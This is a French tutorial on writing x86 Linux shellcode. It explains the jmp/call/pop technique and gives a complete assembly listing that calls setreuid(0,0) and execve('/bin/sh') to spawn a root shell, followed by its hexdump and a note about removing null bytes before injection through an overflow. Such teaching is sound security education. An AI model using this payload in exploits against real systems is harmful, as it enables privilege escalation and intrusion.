Shellcode - écrire un bytecode    Enregistrer au format PDF


par S3cur3D

Ne pas utiliser le segment data

Nous avons réussi à écrire un programme qui fait apparaître un shell à l’écran, root s’il en a la possibilité, ce qui n’est déjà pas si mal. Maintenant, il faut régler le problème de l’utilisation des segments de mémoire dont on ne doit pas se servir pour le bon fonctionnement du shellcode.
En fait, il faut déclarer la string dans le code (ce que nous savons faire et que nous avons par exemple appliqué dans la partie sur le faux désassemblage). Le problème est de connaître l’adresse de cette chaîne de caractères. Puisque nous ne connaissons pas l’adresse à laquelle va se trouver le shellcode, il faut que l’on soit capable de situer notre variable par rapport à l’EIP (Extended Instruction Pointer). Pour ce, il nous suffit au final d’utiliser les appels jump et call.
L’appel jump change l’adresse de l’EIP vers une adresse de notre choix. Call fait la même chose, mais en plus, il ajoute l’adresse de retour sur la pile où doit retourner EIP une fois l’appel terminé : cela nous suffit donc pour remplir notre objectif. En effet, si nous déclarons la chaine à la fin du programme, que nous utilisons une instruction jmp pour arriver à l’adresse de la chaine puis une instruction call, le fond de la pile ne sera rien d’autre que l’adresse de la chaine, qu’il nous suffit de popper de la pile et de placer dans une variable. Nous avons donc simplement utilisé ce "tour de passe-passe" dans la pile dans le code suivant pour produire quelque chose qui ressemble réellement à un bytecode digne de ce nom.

Bytecode primaire de shellcode

Voici donc le code de la partie précédente où nous avons appliqué le principe énoncé :

  1.     ;shellcode.asm
  2.  
  3.        mov eax,70  ;on mets eax à 70 pour préparer l'appel à setreuid
  4.        mov ebx,0  ;real uid 0 => root
  5.        mov ecx,0  ;effective uid 0 => root
  6.        int 0x80  ;Syscall 70
  7.  
  8.        jmp chaine  ;On va au label <chaine>
  9.  
  10.        retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
  11.        pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
  12.  
  13.        mov eax,0  ;on mets 0 dans eax
  14.        mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
  15.                 ;en fait, on réécrit le 0 de la chaine avec un nul byte
  16.                 ;al occupe 1 byte
  17.        mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
  18.                 ;En fait, on réécrit aaaa par l'adresse de cheminshell
  19.        mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
  20.                 ;en fait, on réécrit bbbb par 0x00000000
  21.        mov eax,11  ;on mets eax à 11 pour préparer l'appel à execve
  22.        lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
  23.        lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
  24.        int 0x80  ;Syscall 11
  25.  
  26.        chaine:  ;label chaine où on arrive après le jump
  27.        call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
  28.        cheminshell db "/bin/sh0aaaabbbb"

Télécharger

Puisqu’il n’y a plus de segments, nous ne pouvons lancer le programme et démontrer l’utilisation de cette technique, il nous faudra attendre l’utilisation finale du shellcode pour le vérifier.

Examinons maintenant le bytecode obtenu à l’aide d’hexedit :

  1.     $ nasm shellcode.asm
  2.     $ hexedit shellcode
  3.     00000000   66 B8 46 00  00 00 66 BB  00 00 00 00  66 B9 00 00  f.F...f.....f...
  4.     00000010   00 00 CD 80  EB 28 66 5B  66 B8 00 00  00 00 67 88  .....(f[f.....g.
  5.     00000020   43 07 66 67  89 5B 08 66  67 89 43 0C  66 B8 0B 00  C.fg.[.fg.C.f...
  6.     00000030   00 00 66 67  8D 4B 08 66  67 8D 53 0C  CD 80 E8 D5  ..fg.K.fg.S.....
  7.     00000040   FF 2F 62 69  6E 2F 73 68  30 61 61 61  61 62 62 62  ./bin/sh0aaaabbb
  8.     00000050   62                                                                                b

Télécharger

On remarque les nombreux 00. Or, un 00 dans un shellcode injecté terminerait la chaîne et donc le dépassement de mémoire, c’est pourquoi nous devons dans une dernière étape supprimer tous les bytes nuls de ce bytecode.

Documentations publiées dans cette rubrique